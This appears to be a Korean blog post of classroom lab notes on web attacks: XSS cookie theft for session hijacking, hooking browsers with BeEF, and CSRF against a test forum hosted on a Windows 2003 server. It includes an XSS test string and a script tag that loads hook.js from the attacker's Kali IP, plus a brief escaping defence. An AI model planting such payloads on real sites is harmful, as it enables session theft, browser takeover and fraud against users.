본문 바로가기
클라우드 아키텍처 설계 기초지식/08 웹 보안

웹 보안 (2) - XXS,Beef,CSRF

by Jasie 2018. 10. 30.
  • 크로스 사이트 스크립팅 ( XSS: Cross Site Scripting )

빅데이터 인공지능 openstack ssl 해킹

취약한 동적 웹페이지에 악의적인 코드를 게시하여 다른 사용자의 PC에서 악성코드가 실행되게 하는 공격 수법을 크로스 사이트 스크립팅

                 


 (1) XSS 테스트

입력 데이터에 <script>alert("XSS Test");</script> 삽입
해당 데이터를 조회했을 때 alert창이 뜨면 성공

  2) 공격 사례
(1) 세션 하이재킹
XXS를 이용해 게시글을 조회하는 사용자들의 웹 세션을 탈취하는 것

*쿠키와 세션
쿠키 : 클라이언트에 저장되는 어떠한 정보 데이터, 별로 중요하지 않은 정보 저장, 
세션 : 서버에 저장되는 어떠한 정보 데이터, 중요한 정보, 로그인 정보

*세션 동작 순서
1.사용자가 서버로 접속 시도
2.서버는 접근한 사용자의 요청 헤더를 확인해 세션ID를 보내왔는지 확인
3.없다면 랜덤한 세션ID를 발급
4.두번째 요청부터 세션ID를 요청 헤더에 세션ID를 포함해서 접속
세션은 서버에 저장되지만, 세션ID는 사용자의 메모리에 저장

 실습 준비

* 본체 (해커)     * 칼리  (해커)     * window 2003 서버 (희생자)


 1. 본체에 Chrome - Edit This Cookie 설치



2. 칼리에 /var/www/html 밑에 cookie.php 만들기


       <cookie.php 내용>

3. 본체 PC에서 쿠키를 탈취하는 게시판글을 작성한다





3. 본체 PC에서 게시글을 조회했을때 칼리 (/var/www/html/cookie/data)에 세션값이 저장된다.




4. 사용자 세션에서 관리자 세션으로 변경후 F5(새로고침)을 한다.


5. 권한이 변경된다.




0. 강사님이 제시한 실습 방법 



 




  • 원격 조종(BeEF)
방어법 : 게시글을 쓸때  '<'를 못쓰게 하면 된다.
수학 게시판같은곳에서 <를 써야할경우 -> replace(test,'<', &gt') 해주면 된다.


실습준비

 * 본체 (해커)     * 칼리  (해커)     * window 2003 서버 (희생자)

 1. 실행 (id : beef pw : beef)


 

2. 게시판 접속후 게시글 작성 -> <script src="http://[칼리IP]/hook.js"></script>





 3. 게시글 클릭만으로 접속이 된다.








  • 크로스 사이트 요청 변조 ( CSRF : Cross-site request forgery  )

스크립트를 이용, 게시글을 조회하는 사용자의 권한으로 해당 사용자가 원하지 않았던 작업을 수행되게 한다.

즉, 웹서버, 웹서버에있는 게시물을 공격한다고 생각 하면됨

ex) 특정 게시글을 읽으면, 읽을때마다 글이 생성되거나,삭제되거나 하게 할수있다.


실습준비

* 본체pc(타겟)               *window2003서버(서버)


실습방법


1. CSRF공격이 가능한 게시글을 쓴다.



2. CSRF공격이 먹힌것을 알수있다.


 3. 해킹 시나리오
   관리자가 아닌 일반 사용자가 관리자의 권한인 척 게시글을 삽입, 수정하여 자신의 계좌번호로 돈을 입금하게할수있다.



                     - 일반 사용자로 작성한 글



                      일반 사용자가 관리자의 권한으로 올린 글






공감() 과 댓글은 필자에게 큰 힘이 됩니다.

잠시 1초만 내주시면 안될까요? ~~


로그인 없이도 가능합니당 



댓글